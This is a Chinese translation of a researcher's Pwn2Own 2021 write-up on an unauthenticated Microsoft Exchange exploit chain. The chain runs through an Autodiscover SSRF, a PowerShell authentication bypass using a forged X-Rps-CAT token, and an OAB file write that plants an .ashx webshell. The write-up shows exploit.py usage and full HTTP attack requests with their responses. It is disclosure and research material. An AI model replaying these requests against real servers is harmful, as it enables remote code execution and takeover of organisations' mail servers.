Pwn2Own 2021 Microsoft Exchange 漏洞利用链
2022-11-28 21:21:0 Author: xz.aliyun.com(查看原文) 阅读量:36 收藏

本文为翻译稿件,原文:Pwn2Own 2021 Microsoft Exchange Exploit Chain

漏洞利用简介

Autodiscover前端服务中的Microsoft Exchange未经身份验证的SSRF,结合Powershell后端服务中的身份验证绕过和OAB后端服务中的任意文件写入,导致远程代码执行。

漏洞摘要

漏洞利用链允许远程攻击者编写webshell并在受影响的Microsoft Exchange Server安装上执行任意代码,无需身份验证即可利用此漏洞。这三个漏洞包括:

  • 前端服务中未经身份验证的SSRF允许远程攻击者以LocalSystem权限向后端服务发送任意命令;
  • 允许远程攻击者绕过Powershell后端服务中的身份验证绕过以管理员权限运行任意Exchange cmdlet;
  • OAB后端服务中的任意文件写入允许远程攻击者可以在OAB文件夹上编写webshell

前两个漏洞被称为ProxyShell漏洞,与Orange Tsai重复。 所以我在Pwn2Own比赛中只获得了部分胜利。

第三个漏洞有趣且复杂,我学到了很多关于Microsoft Exchange数据库 (MDB) 和 OAB 协议的内部知识。 此外,还可以利用它在Exchange Online服务上获取RCE'。 我在我的团队中进行了本地演示。

阅读此博客后,您可以在此处(https://www.slideshare.net/rskvp93/pwn2own2021msexchange3rdvulnpdf)获得有关第三个漏洞的更多详细信息。

漏洞分析

该漏洞由Python 2.7开发。 安装请求模块:pip install requests.
执行命令:

python exploit.py <url> <domain_part> <command>
    - url: the target url, for example https://ex19.exchangelab.local
    - domain_part: the domain part an email address, for example [email protected], the domain part will be exchangelab.local
    - command: the cmd command to run on server, for example whoami, dir

Example:
python exploit.py https://ex19.exchangelab.local exchangelab.local "whoami /all"

我在这里发布了我的漏洞 exploit.py

漏洞一

Exchange邮箱服务器上的客户端访问服务负责接受所有形式的客户端连接。客户端访问(前端)服务将这些连接代理到目标邮箱服务器(本地服务器或保存用户邮箱的活动副本的远程邮箱服务器)上的后端服务,客户端不直接连接到后端服务。通信如下图所示。

Autodiscover前端服务中的SSRF漏洞允许未经身份验证的远程攻击者,向任意后端服务发送带有受控uri和受控数据的任意请求。此代理请求作为LocalSystem帐户完全验证到后端服务。

示例请求如下:

POST /Autodiscover/[email protected]/ews/exchange.asmx HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
SOAPAction: "http://schemas.microsoft.com/exchange/services/2006/messages/FindFolder"
Content-Type: text/xml;charset=UTF-8
Cookie: email=Autodiscover/[email protected]
Content-Length: 1429

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:typ="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:mes="http://schemas.microsoft.com/exchange/services/2006/messages">
   ...
</soapenv:Envelope>

电子邮件cookie的值为“Autodiscover/[email protected]

如果RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath)返回 True,它被设置到this.explicitLogonAddress

然后当前端服务调用GetClientUrlForProxy方法构造代理路径转发给后端服务时,this.explicitLogonAddress的值将从原来的AbsoluteUri中移除。 注意,这里使用base.ClientRequest.Url.AbsoluteUri而不是 base.ClientRequest.Url.AbsolutePath

原来的AbsoluteUri/Autodiscover/[email protected]/ews/exchange.asmx

移除“Autodiscover/[email protected]后,最后代理路径为/ews/exchange.asmx

代理请求使用LocalSystem帐户(又名计算机帐户)进行身份验证,因为在PrepareServerRequest方法中,构造了Kerberos授权标头并将其添加到代理请求中。

对于这个漏洞,我使用了与最近Orange TsaiProxyLogon漏洞相同的操作(特别感谢他非常棒的bug和很多技术)。

以下有效负载将允许获取用户邮箱的UserDN(旧版 DN)(我使用SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com,这是一个大众熟知的特殊邮箱)。

POST /Autodiscover/[email protected]/Autodiscover/Autodiscover.svc HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: text/xml; charset=utf-8
Cookie: email=Autodiscover/[email protected]
Content-Length: 1105

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover" 
        xmlns:wsa="http://www.w3.org/2005/08/addressing" 
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
        xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <a:RequestedServerVersion>Exchange2010</a:RequestedServerVersion>
    <wsa:Action>http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettings</wsa:Action>
    <wsa:To>https://mail.microsoft.com/autodiscover/autodiscover.svc</wsa:To>
  </soap:Header>
  <soap:Body>
    <a:GetUserSettingsRequestMessage xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
      <a:Request>
        <a:Users>
          <a:User>
            <a:Mailbox>SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com</a:Mailbox>
          </a:User>
        </a:Users>
        <a:RequestedSettings>
          <a:Setting>UserDN</a:Setting>
        </a:RequestedSettings>
      </a:Request>
    </a:GetUserSettingsRequestMessage>
  </soap:Body>
</soap:Envelope>
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
request-id: a1d3f976-97ad-42dd-b19a-07ed66b685a1
X-CalculatedBETarget: exchange16.domaincorp.com
X-DiagInfo: EXCHANGE16
X-BEServer: EXCHANGE16
X-AspNet-Version: 4.0.30319
Set-Cookie: X-BackEndCookie=; expires=Sun, 31-Mar-1991 02:22:42 GMT; path=/Autodiscover; secure; HttpOnly
X-Powered-By: ASP.NET
X-FEServer: EXCHANGE16
Date: Wed, 31 Mar 2021 02:22:42 GMT
Content-Length: 1314

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" xmlns:a="http://www.w3.org/2005/08/addressing"><s:Header><a:Action s:mustUnderstand="1">http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettingsResponse</a:Action><h:ServerVersionInfo xmlns:h="http://schemas.microsoft.com/exchange/2010/Autodiscover" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><h:MajorVersion>15</h:MajorVersion><h:MinorVersion>1</h:MinorVersion><h:MajorBuildNumber>2242</h:MajorBuildNumber><h:MinorBuildNumber>4</h:MinorBuildNumber><h:Version>Exchange2015</h:Version></h:ServerVersionInfo></s:Header><s:Body><GetUserSettingsResponseMessage xmlns="http://schemas.microsoft.com/exchange/2010/Autodiscover"><Response xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><ErrorCode>NoError</ErrorCode><ErrorMessage/><UserResponses><UserResponse><ErrorCode>NoError</ErrorCode><ErrorMessage>No error.</ErrorMessage><RedirectTarget i:nil="true"/>
<UserSettingErrors/><UserSettings>
<UserSetting i:type="StringSetting">
    <Name>UserDN</Name>
    <Value>/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=6b9c2aa9d1804deea9b54779f8d4d0ec-SystemMailbo</Value>
    </UserSetting>
</UserSettings></UserResponse></UserResponses></Response></GetUserSettingsResponseMessage></s:Body></s:Envelope>

以下有效负载允许从UserDN获取用户的 SID

POST /Autodiscover/[email protected]/mapi/emsmdb HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
X-User-Identity: SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
X-Requestid: {C715155F-2BE8-44E0-BD34-2960065754C8}:2
X-Requesttype: Connect
X-Clientinfo: {2F94A2BF-A2E6-4CCC-BF98-B5F22C542226}
X-Clientapplication: Outlook/15.0.4815.1002
Content-Type: application/mapi-http
Cookie: email=Autodiscover/[email protected]
Content-Length: 149

/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=6b9c2aa9d1804deea9b54779f8d4d0ec-SystemMailbo....

SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com的SID是 S-1-5-21-3452439987-3899459676-4048896270-1124

我们得到域ID:3452439987-3899459676-4048896270 和管理员帐户的 SID:S-1-5-21-3452439987-3899459676-4048896270-500

漏洞二

通过在 url 中伪造 X-CommonAccessToken,Powershell后端服务中的身份验证绕过漏洞。

利用第一个SSRF漏洞,远程攻击者可以向具有LocalSystem权限的Powershell后端服务发送请求。但是Powershell后端服务会额外检查X-CommonAccessToken标头是否存在 ,X-CommonAccessToken标头从前端传递到后端以标识当前登录用户。

但是Powershell后端服务有一个IIS 模块,允许在检查之前将 X-Rps-CAT 查询字符串转换为X-CommonAccessToken 标头。 因此,远程攻击者可以使用X-Rps-CAT 查询字符串伪造任意 X-CommonAccessToken 标头。

演示如下:

POST /Autodiscover/[email protected]/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBhET01BSU5BQkNEXGFkbWluaXN0cmF0b3JVLVMtMS01LTIxLTM0NTI0Mzk5ODctMzg5OTQ1OTY3Ni00MDQ4ODk2MjcwLTUwMEcKAAAABwAAAC1TLTEtNS0yMS0zNDUyNDM5OTg3LTM4OTk0NTk2NzYtNDA0ODg5NjI3MC01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAtUy0xLTUtMjEtMzQ1MjQzOTk4Ny0zODk5NDU5Njc2LTQwNDg4OTYyNzAtNTIwBwAAAC1TLTEtNS0yMS0zNDUyNDM5OTg3LTM4OTk0NTk2NzYtNDA0ODg5NjI3MC01MTIHAAAALVMtMS01LTIxLTM0NTI0Mzk5ODctMzg5OTQ1OTY3Ni00MDQ4ODk2MjcwLTUxOAcAAAAtUy0xLTUtMjEtMzQ1MjQzOTk4Ny0zODk5NDU5Njc2LTQwNDg4OTYyNzAtNTE5BwAAAAhTLTEtMTgtMUUAAAAA HTTP/1.1
Host: exchange16.domaincorp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: application/soap+xml;charset=UTF-8
Cookie: email=Autodiscover/[email protected]
Content-Length: 7075

....

我反转了CommonAccessToken 的格式,并为管理员帐户构造了一个强大的令牌,其中包含一些域组,如域管理员、模式管理员……(domainid 之前就被泄露了,domain_name 可以是任何字符串)。

至此我们有了CommonAccessToken,可以发送具有管理员权限的powershell 请求。 我重写了一个简单的Powershell Remoting协议,允许我运行Exchange的任何cmdlet

但是目前只能运行Exchange的cmdlet,不能运行Windows的任何cmdlet,也不能运行像 Add-Content -Path C:\test.txt -Text abc这样的简单 cmdlet。

当然,我们可以运行这样的cmdlet:get-mailbox,...

漏洞三

OAB 后端服务中的任意文件写入允许远程攻击者可以在OAB文件夹上编写 webshell

在讲述这个漏洞的细节之前,我先介绍以下OAB的概念。

脱机通讯簿 (OAB) 是地址列表集合的本地副本。

在具有管理员帐户的Exchange Management Shell中,我们可以创建一个新的 OAB:

New-OffLineAddressbook -Name test1 -AddressLists "Default Global Address List"

然后获取新的脱机通讯簿的 GUID。

在此示例中,guid 为02f1b6a8-8b8f-40c8-9df3-ac753563f9b8

我们可以通过直接访问 url 请求 OAB 文件:https://exchange16.domaincorp.com/oab/02f1b6a8-8b8f-40c8-9df3-ac753563f9b8/oab.xml。

第一次生成OAB文件,保存在文件夹C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\02f1b6a8-8b8f-40c8-9df3-ac753563f9b8

OAB文件除了保存在OS文件系统中外,还保存在特殊系统邮箱SystemMailbox(前面提到的)的OAB文件夹中{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com

我们可以通过在 SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com邮箱上调用EWS服务来检查这一点。

在邮箱的OAB文件夹中,有一个主题为02f1b6a8-8b8f-40c8-9df3-ac753563f9b8的项目IPM.FileSet(与以前相同的guid)。

因此,对于我们使用cmdlet New-OfflineAddressBook创建的每个 OAB:

  • C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>中会有对应的文件夹;
  • SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com邮箱的OAB文件夹中会有一个对应的项目IPM.FileSet,主题为<oab_guid>

生成新的OAB文件的过程是:

  1. 从 url/oab/<oab_guid>/oab.xml获取 oab_guid;
  2. 检查 SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com邮箱的文件夹 OAB 中是否存在主题为<oab_guid>的项目;
  3. 如果该项目存在,下载邮箱中该项目的所有附件,保存在C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>中;
  4. 如果不存在,生成OAB文件,保存在SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com邮箱的OAB文件夹中。

注意第三步,演示如下:

所以如果我们可以控制SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com邮箱的文件夹OAB,我们就可以控制C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\中的文件<oab_guid>

该漏洞出现在第 3 步,当 OAB 文件被下载并保存在 OS 文件系统中时,不会检查文件名是否为恶意扩展名,如 .aspx.ashx

所以如果我们可以控制SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com邮箱的文件夹OAB,我们就可以在C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\中,写一个webshell <oab_guid>并通过 url /oab/<oab_guid>/malicious.ashx访问 webshell。

我结合以前的两个漏洞控制了SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com邮箱的文件夹OAB。

使用第二个Powershell 身份验证绕过漏洞,我可以发出一个powershell cmdlet New-OfflineAddressBook来创建新的 OAB,并获取 oab_guid

然后,在SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com邮箱的权限下使用SSRF/ews/exchange.asmx发送请求(SSRF请求使用LocalSystem帐户进行身份验证,因此具有模拟权限 另一个具有 SerializedSecurityContext元素的邮箱用户)。

使用两个漏洞,我执行了以下步骤:

  • SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com的 OAB 文件夹中创建主题为<oab_guid> 的新项目IPM.FileSet;
  • 在这一项附上两个文件oab.xml和rskvp93.ashx(这一步很复杂,因为我必须使用导入、导出技术来控制两个文件的hash属性);
  • 通过访问 url /oab/<oab_guid>/oab.xml 触发OABGeneratorProcess;
  • OABGeneratorProcess将在 SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com的 OAB 文件夹中下载主题为<oab_guid>的项目中的所有附件;
  • OABGeneratorProcess将在C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>的操作系统文件系统中保存所有附件;
  • /oab/<oab_guid>/rskvp93.ashx获得 webshell。

有用的邮箱

[email protected] (from VcsLab of Viettel Cyber Security)


文章来源: https://xz.aliyun.com/t/11900
如有侵权请联系:admin#unsafe.sh